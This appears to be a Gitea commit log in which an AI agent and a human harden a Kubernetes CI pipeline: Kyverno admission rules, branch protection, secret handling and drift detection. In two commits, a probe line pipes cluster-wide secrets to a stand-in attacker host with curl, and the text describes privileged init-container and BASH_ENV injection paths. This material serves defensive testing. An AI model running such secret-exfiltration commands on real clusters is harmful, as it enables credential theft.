44dbd4433325d3ac0be8e77a4cb3f0f689210577
736
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
  jakman85andClaude Opus 5
|
44dbd44333 |
fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
f81967228d |
docs(decisions-log): the approval-policy check this PR was expected to fail does not exist
I was briefed to expect CI to FAIL on an `approval-policy` check, because `conformance/**` is
security-relevant. Measured instead:
grep -rn approval .gitea/workflows/ -> no match
branches/main status_check_contexts -> ['gate / gate (pull_request)']
commits/<head>/statuses gate / gate -> success, "Successful in 1m36s"
gate / conformance -> pending, "Blocked by required conditions"
The only required context is `gate / gate`, and it is green — and it genuinely ran (1m36s), so
this is not the skipped-Gitea-job-reports-success trap. There is no path-based approval policy
in CI anywhere in this repo. What blocks the merge is `required_approvals: 1` and the fact that
`gitea-admin` authors every agent PR and cannot self-approve — the control that returned HTTP
405 on PR #12.
Recording it because the PR body and the log entry both asserted the wrong blocker, and this
repo has been burned repeatedly by documentation that described a control nobody measured. A
change to the admission boundary under `conformance/**` is gated by a generic human approval,
not by anything that knows the path is security-relevant; if that is the intent, it is not
implemented.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
d3d5f6d8d2 |
feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
20ea70d221 |
Merge pull request 'fix(sec): the R-SEC-02 admission policy was never applied' (#16) from fix/kyverno-policy-was-never-applied into main
Reviewed-on: #16 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8c7a770de2 |
fix(sec): the R-SEC-02 admission policy was never applied -- and nothing could tell
PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/ kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as reference; THIS file is the buildable render root" -- and that render root (platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease, noting that ClusterPolicies are applied a tier later, by platform-config, because they need the Kyverno CRDs first. So three lists exist and only platform-config/kustomization.yaml applies anything. The policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test exercised it by path and passed, the merge gate passed, and Flux reported `platform` Ready at the new revision. Measured on prod afterwards: kubectl get clusterpolicy conformance-trigger-job-shape Error from server (NotFound) while ns conformance, the conformance-trigger ServiceAccount, its Role and its RoleBinding were all live. That is exactly the state that identity's own RBAC header says must never exist -- the trigger identity present with nothing bounding it. Blast radius was small only because no trigger kubeconfig exists yet, which is luck, not design. Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to 8 and contains conformance-trigger-job-shape). CLOSES THE CLASS, which matters more than the instance. Adds the L0 check admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no requirement the diff attributes, so a path-scoped run would have skipped it on the exact commit that introduced the defect. Proven both ways, not assumed: with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied with the fix -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason `kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
1c5974013e |
Merge pull request 'docs(decisions-log): end-of-session PM handoff' (#14) from docs/handoff-2026-09-29 into main
Reviewed-on: #14 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
4791d4a43a |
Merge pull request 'feat(sec): constrain the conformance CI trigger at admission' (#13) from feat/conformance-trigger-admission-boundary into main
Reviewed-on: #13 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
dfd608ac32 |
Merge pull request 'fix(ci): CLUSTER_AVAILABLE=true would have faked a green' (#12) from fix/cluster-available-would-fake-a-green into main
Reviewed-on: #12 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85
|
1d2d9d6549 |
Merge pull request 'fix(ci): the settings token could never have been stored' (#15) from fix/secret-name-and-require-gitea-settings into main
Reviewed-on: #15 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
4b31f97486 |
docs(decisions-log): addendum — detector armed, and why an agent cannot merge here
Records two findings from the unattended session. The drift detector was INERT: set-ci-token.sh stored the secret under a name Gitea reserves (GITEA_ prefix, HTTP 400 "invalid secret name"), sent the PUT to /dev/null, and printed success anyway. A token existed; no secret did. Enabling REQUIRE_GITEA_SETTINGS on top of that would have blocked every PR including its own fix. PR #15 fixes it and its CI is green WITH require active, which is the only proof that counts. And: merging as gitea-admin returns HTTP 405 "Does not have enough approvals". required_approvals:1 + block_admin_merge_override:true + an author who cannot self-approve means "merge on green CI" is not executable by an agent. Recorded as the control working rather than a fault, and deliberately not circumvented -- self-approval would hollow out the boundary just built. The choice of what to do about it is the operator s, and whatever is chosen must also change the declaration in expected-branch-protection.json or the detector will correctly fail on the drift. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
50a48e6f07 |
fix(ci): the settings token could NEVER have been stored -- Gitea reserves the GITEA_ prefix
The drift detector merged in #11 was inert and would have stayed inert silently. WHAT HAPPENED. infra/gitea/set-ci-token.sh minted a token and PUT it to the repo Actions secret GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for secret names -- exactly as GitHub reserves `GITHUB_` -- and rejects that PUT with: HTTP 400 {"message":"invalid secret name"} The script sent the PUT to /dev/null and printed "==> stored." unconditionally, and `curl -sS` exits 0 on an HTTP error, so it reported success for a store that never happened. Measured afterwards: the token existed in the user's token list, and the repo's secret list was EMPTY. ci/gitea-settings.sh would have skipped on every CI run forever, and with REQUIRE_GITEA_SETTINGS=true it would instead have BLOCKED EVERY PR -- including the one fixing it. Three changes: * the secret is SETTINGS_API_TOKEN; ci/gitea-settings.sh reads it, keeping GITEA_SETTINGS_TOKEN as a local-run fallback; * set-ci-token.sh checks the PUT's HTTP status AND reads the secret back, refusing to claim success otherwise. That missing verification is the actual defect -- the wrong name was just what it hid; * gate.yml maps the secret and ENABLES REQUIRE_GITEA_SETTINGS. WHY ENABLING IT HERE IS SAFE: this PR's own CI run is the proof. If the stage were still skipping, REQUIRE turns that into a failure and this PR goes RED rather than merging. Green means the token resolved and live Gitea matched infra/gitea/expected-branch-protection.json. Verified locally before pushing: REQUIRE=true, token present -> MERGE GATE: PASS REQUIRE=true, no token -> gitea-settings SKIPPED -> BLOCKED (not a silent skip) The secret is already stored and read back as present, so CI has what it needs. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
911ead5fbd |
docs(decisions-log): end-of-session PM handoff — six PRs open, and what a new machine needs
Written for a different session on a different computer. Lists the three open gated PRs with their risk, the one command that must follow #11 (the drift detector skips until its token exists, and a skipped detector detects nothing), and the three credentials that are deliberately NOT in git and without which the toolbox and cluster are unreachable: the age private key, prod.kubeconfig, and a Gitea credential. Records the measured platform state while telling the reader to re-measure it rather than trust this log -- which is the whole point of CLAUDE.md section 2b, and which this log earned by being confidently wrong for a month. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8eb5baffa4 |
feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).
THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.
Adds:
* SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
failed run), no exec, no secrets. Results come back as a tarball on stdout read via
pods/log, so no execution channel into the runner pod is ever granted.
* ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
the rest of the cluster.
* Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
like apps-vms, so a test identity can never stall the platform or app tiers.
* A kyverno test with seven cases, six of them real escalation paths.
VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack
evil-image DENIED at .../image/
tag-not-digest DENIED at .../image/ (mutable tag is republishable)
host-namespaces DENIED at /spec/template/spec/hostPID/
extra-volume DENIED by the volumes foreach
injected-args DENIED by the args foreach
good-run ADMITTED
ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.
IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.
NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
4634b44cc7 |
Merge pull request 'feat(ci): detect Gitea settings drift' (#11) from feat/gitea-settings-drift-check into main
Reviewed-on: #11 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
6586919132 |
fix(ci): CLUSTER_AVAILABLE=true would have FAKED A GREEN over 54 skipped tests
Wiring L2/L3 into CI was a tracked next step, described in the plan as needing only
vars.CLUSTER_AVAILABLE. Attempting it surfaced that the variable does not enable L2/L3 at
all -- it only changes which way the stage fails, and before this commit one of those ways
was a false pass.
MEASURED, before the guard:
CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
"[junit] wrote skipped JUnit for 54 scaffolded test(s)"
"[ ok ] L2/L3 conformance passed for touched subset"
run.sh exits 0 in scaffold mode when it cannot reach a cluster, marking every test
<skipped>. That is correct and honest FOR run.sh. It is catastrophic in ci/conformance.sh,
which reaches that code only because the environment DECLARED a cluster available -- so it
reported a pass over 54 tests that never executed. One Gitea variable away from a fake green
on a gate that is now an ENFORCING required status check, and nothing caught it because
nobody had ever set the variable.
The CI runner holds no cluster credential by design (automountServiceAccountToken: false),
so the local run this stage attempts can never succeed. The in-cluster trigger path that
would make L2/L3 actually run is still unimplemented, and is blocked on a privilege-
escalation design decision that is the operator's to make (plan section 4: any principal
that can `create jobs` in ns conformance can run arbitrary code as the privileged
conformance-runner SA, because Kubernetes places no `use` check on serviceAccountName).
The stage now BLOCKS (exit 1) when a cluster is declared but every test skipped, which is
what the merge-gate decision matrix already said should happen ("conformance skipped while
CLUSTER_AVAILABLE=true -> BLOCK"). Verified: rc=1, naming the count and the reason.
The plan document claimed CLUSTER_AVAILABLE was "the only remaining gate". Corrected in
place with the measurement and an explicit do-not-set-this-yet.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
e6f6e4febb |
feat(ci): detect Gitea settings drift -- the blind spot that hid a month of outage
Every check in this repo reads the repository, the rendered manifests, or the cluster.
NONE could see Gitea's own database, and that is where branch protection and runner
registration live. Three failures came out of that blind spot on 2026-09-29, all the same
shape -- a setting that READ as enforced while not being, with nothing able to notice:
* main had NO branch protection for ~a month while DECISIONS-LOG recorded it as a
required status check;
* ZERO Actions runners were registered, so PR #1 -- the first PR this repo ever had --
sat pending for 30.6 minutes with nothing to execute it;
* after enable_status_check and required_approvals were turned on they STILL did not
bite, because block_admin_merge_override was false: PRs #5-#9 merged with zero
approvals recorded against required_approvals: 1.
infra/gitea/*.sh ASSERT the desired state. Nothing DETECTED drift from it. This is the
detector.
ci/gitea-settings.sh runs as a merge-gate stage: it diffs the live rule at
/branch_protections/main against infra/gitea/expected-branch-protection.json and asserts at
least one runner is online. It reads the RULE object, not /branches/main -- the branch view
does not expose block_admin_merge_override and showed all-green while the rule was
overridable by the only account that merges.
Verified by test, not assumed:
no token -> exit 3, skips loudly, does NOT block
live == declaration -> exit 0
injected drift -> exit 1, blocks, naming both the drifted key and the runner count
The skip is DELIBERATELY not in gate.sh's strict-skips loop. Making an absent credential
block every PR is precisely the lock-yourself-out failure this repo keeps walking into, so
a skip denies a PASS (exit 3) and says loudly what is unverified. REQUIRE_GITEA_SETTINGS=true
upgrades it to a block once the token is wired.
gate.yml's `|| [ "$?" -eq 3 ]` tolerance now covers a second stage. That widening is
declared in the file rather than left to be discovered, and it narrows back the moment
REQUIRE_GITEA_SETTINGS is set.
infra/gitea/set-ci-token.sh mints the token and stores it as the repo Actions secret without
ever printing the value.
UNTIL THAT TOKEN EXISTS THIS STAGE SKIPS, AND A SKIPPED DETECTOR DETECTS NOTHING.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85
|
e8e6b9c681 |
Merge pull request 'fix(gitea): admins could override the gate' (#10) from fix/gitea-admins-could-override-the-gate into main
Reviewed-on: #10 Reviewed-by: Keith Jackson <[email protected]> |
||
|
jakman85andClaude Opus 5
|
fcc66c7858 |
fix(gitea): admins could override the gate -- the enforcement was not enforcing
enable_status_check and required_approvals were set earlier today and recorded as done. They did not bite. block_admin_merge_override was false, and Gitea lets repo admins override merge requirements without it. jakman85 holds owner, so both requirements were bypassable by exactly the account that performs every merge. The evidence was already on the record: PRs #5-#9 all merged while required_approvals: 1 was in force, with ZERO approvals recorded on any of them. Two process failures, both the same shape as the defect this whole session started with: 1. Verified with the wrong view. /branches/main reports protected, enable_status_check and required_approvals but NOT block_admin_merge_override -- it showed everything green while the rule was overridable. /branch_protections/main is authoritative. 2. Probed for a field name assumed to exist. This Gitea (1.24.3) has no `apply_to_admins`; asking jq for it returns null, which reads like "set to false" but means "key absent", so a PATCH that silently did nothing produced a convincing before/after. jq returning null is not a value -- it may be an absence. Enumerate with to_entries. require-gate.sh now sets block_admin_merge_override: true; block-admin-override.sh fixes it in isolation. Both carry the field-name warning. This PR is the test. If it merges WITHOUT an approval, the fix did not work. Also records the governance question: with only jakman85 (human) and gitea-admin (agent), a human-authored PR now needs the automation account to approve it. That is ceremony, not review, and the choice between keeping it, dropping approvals in favour of the status check, or adding a second human is the operator's to make. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
b9e8a4f9e8 |
Merge pull request 'docs(ci): close out the hardening; correct a claim that shipped wrong' (#9) from docs/close-out-ci-hardening into main
Reviewed-on: #9 |
||
|
jakman85andClaude Opus 5
|
b2d9883958 |
docs(ci): close out the hardening -- land the scripts, correct a claim that shipped wrong
The branch-protection + PR-gate + sidecar sequence is complete and verified. This records the finished state and fixes what the sequence itself proved wrong. CORRECTS A FALSE CLAIM I SHIPPED. PR #7 said the sidecar conversion would remove the one-per-start dockerd line "http: TLS handshake error from 127.0.0.1: EOF". It does NOT. Exactly one still appears, immediately after "API listen on [::]:2376" -- it is now the startupProbe's FIRST attempt, landing microseconds after dockerd begins listening and cut off by timeoutSeconds: 1; the next poll succeeds. Cosmetic, and deliberately not chased: raising the timeout to hide one benign startup line would slow every subsequent poll. The manifest comment now states this instead of the wrong prediction. Lands infra/gitea/require-gate.sh and verify-then-enforce.sh, which drove the rollout from a session temp dir. verify-then-enforce.sh merges nothing -- merging is a human's reviewed act -- but forces the reconcile and ABORTS unless the pod is healthy, a runner is online, and a real workflow goes green on it, before enabling enforcement and probing the push. Re-run it after any future act-runner change. Trims the now-obsolete feat/ rationale from claim-ship.sh: per-branch push triggers were deleted, so no prefix produces a duplicate run any more. CLAUDE.md's enforcement table flips from "weaker than this rule" to machine-enforced, with all four rows marked verified and the push rejection noted as PROVOKED rather than assumed. It also now states what a green PR does NOT prove: CLUSTER_AVAILABLE is unset, so L2/L3 never runs in CI and only the L0/L1 offline subset is covered. infra/gitea/README.md marks the sequence done and names the root cause that remains unfixed: Gitea repo settings live in its own database, invisible to Flux and unreadable by the conformance gate, so NOTHING detects drift from what this directory declares. These scripts assert desired state; they are not a detector. The check that reads the live API and fails on divergence is the highest-value work left, and it is the difference between this being fixed and this being unable to recur. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
00efd4b828 |
Merge pull request 'fix(ci): convert dind to a native sidecar; delete both wait loops' (#7) from fix/dind-native-sidecar into main
Reviewed-on: #7 |
||
|
jakman85
|
67a54a33a4 |
Merge pull request 'fix(ci): delete the per-branch push triggers instead of adding feat/**' (#6) from fix/gate-push-trigger-matches-feat-prefix into main
Reviewed-on: #6 |
||
|
jakman85
|
db1a623073 |
Merge pull request 'docs(runbooks): the PR flow, not git push origin main' (#5) from docs/runbooks-pr-flow into main
Reviewed-on: #5 |
||
|
jakman85
|
ce271225de |
Merge pull request 'docs: correct CI/platform documentation that was stale or wrong' (#8) from docs/ci-reality-vs-phase-0 into main
Reviewed-on: #8 |
||
|
jakman85andClaude Opus 5
|
e72050c690 |
docs: correct CI/platform documentation that was stale, wrong, or load-bearing
The 2026-09-29 session found the merge gate did not exist -- no branch protection, no runner -- while the tree asserted both. This corrects the documents that carried, and in several cases CAUSED, that belief. CLAUDE.md gains section 2b: never infer platform state from this repository. It carries the specific API and kubectl checks for protection, runners, CI status, workloads and Flux revisions, and the rule that a green tick is not proof anything ran (a skipped Gitea job reports success). This is the rule whose absence produced every other finding. .gitea/workflows/README.md and merge-gate.yaml both said "there is no remote git host, this file is dormant". Gitea had been live for weeks. Both were written as plans and never revisited once the plan completed. The Transition section is now marked COMPLETE and says what is genuinely still outstanding (CLUSTER_AVAILABLE unset, so L2/L3 never runs in CI). DECISIONS-LOG 2026-08-31 is annotated IN PLACE. Anyone reading chronologically previously hit "required status check; runner incluster-dind online" with nothing marking it false until a month later. The correction now sits on the bullet itself. ci/README.md, clusters/README.md and both conformance READMEs carry a status banner: they speak as though no cluster exists, which makes a live L2/L3 coverage gap read as an expected phase. That framing is why the gap went unexamined. apps/wave-1/gitea-actions-runner-secret.sops.yaml: fixed a wrong path, replaced advice to `sops -d` into a terminal (which CLAUDE.md forbids) with the rotation script, and recorded that a fresh token alone does not re-register a runner holding a stale /data/.runner. apps/wave-0/plex-claim-secret.sops.yaml: the header claimed the file ships the placeholder. It has not since the claim -- it holds the spent token, which is inert and deliberately left in place. catalog/plex.yaml and the plex secret both asserted a "~4-minute TTL" as fact. It was uncited, upstream documents no expiry, and it was the basis for a since-disproven claim that the pipeline was too slow to fit inside it. Measured: ~2m45s. Both .sops.yaml files were verified to still decrypt after the comment edits (`sops -d > /dev/null`), and render==golden confirms the catalog comment does not propagate into the rendered manifest. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
761e25cc3f |
docs(runbooks): two more uncited "4-minute" claims the first pass missed
A systematic grep for the TTL assertion found it still in runbooks/README.md and in runbooks/kustomization.yaml, outside the page being rewritten. Same correction: the countdown on plex.tv/claim is the authority, not a number in our tree. README.md also now records that the server is CLAIMED and points at claim-ship.sh with the measured ~2m45s loop, rather than describing a push-based sequence that no longer exists. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
e7508931ca |
fix(ci): convert dind to a native sidecar; delete both hand-rolled wait loops
Executes the FOLLOW-UP that has been carried in this manifest since the readiness fix,
now that k3s is v1.36 and sidecar containers are GA.
dind moves into initContainers as the first entry with restartPolicy: Always -- the one
field that makes an initContainer a sidecar: it starts before the regular containers,
runs alongside them, and is terminated after them. kubelet therefore enforces the
ordering that the runner used to hand-roll, so the runner drops its command: override
and runs the image's own entrypoint.
The startupProbe execs a full TLS-verified `docker ... info`, NOT a tcpSocket probe. A
tcpSocket probe would re-open the exact gap the old Stage 1 existed to close: dockerd
writes the TLS certs and only THEN starts listening, so the port can accept a connection
while the certs are absent, and act_runner hard-exits on a missing
/certs/client/ca.pem. `docker info` proves both that the certs are usable and that the
daemon answers. periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
It also removes the one-per-start dockerd log line
http: TLS handshake error from 127.0.0.1: EOF
which was the old `nc -z` probe opening a TCP connection and closing it without a TLS
handshake -- an error we were generating ourselves and then reading in the logs.
SECONDARY WIN: deleting the shell deletes an envsubst hazard. apps-wave-1 runs postBuild
substitution over this ENTIRE manifest, comments included, and those loops depended on
bare dollar-names passing through untouched -- a braced or double-dollar spelling would
have silently unbounded the waits or failed the whole Kustomization. The only dollar left
in the file is the intended ${BASE_DOMAIN}.
LANDS ALONE, DELIBERATELY. This Deployment is the merge gate for the entire repository:
if the conversion is wrong, nothing can merge. Merge this BEFORE enabling the required
status check, and watch a real workflow run green on the converted pod before doing so --
otherwise a bad conversion locks the repo with no way to revert through the gate.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
bf98a99af6 |
fix(ci): delete the per-branch push triggers instead of adding feat/** to them
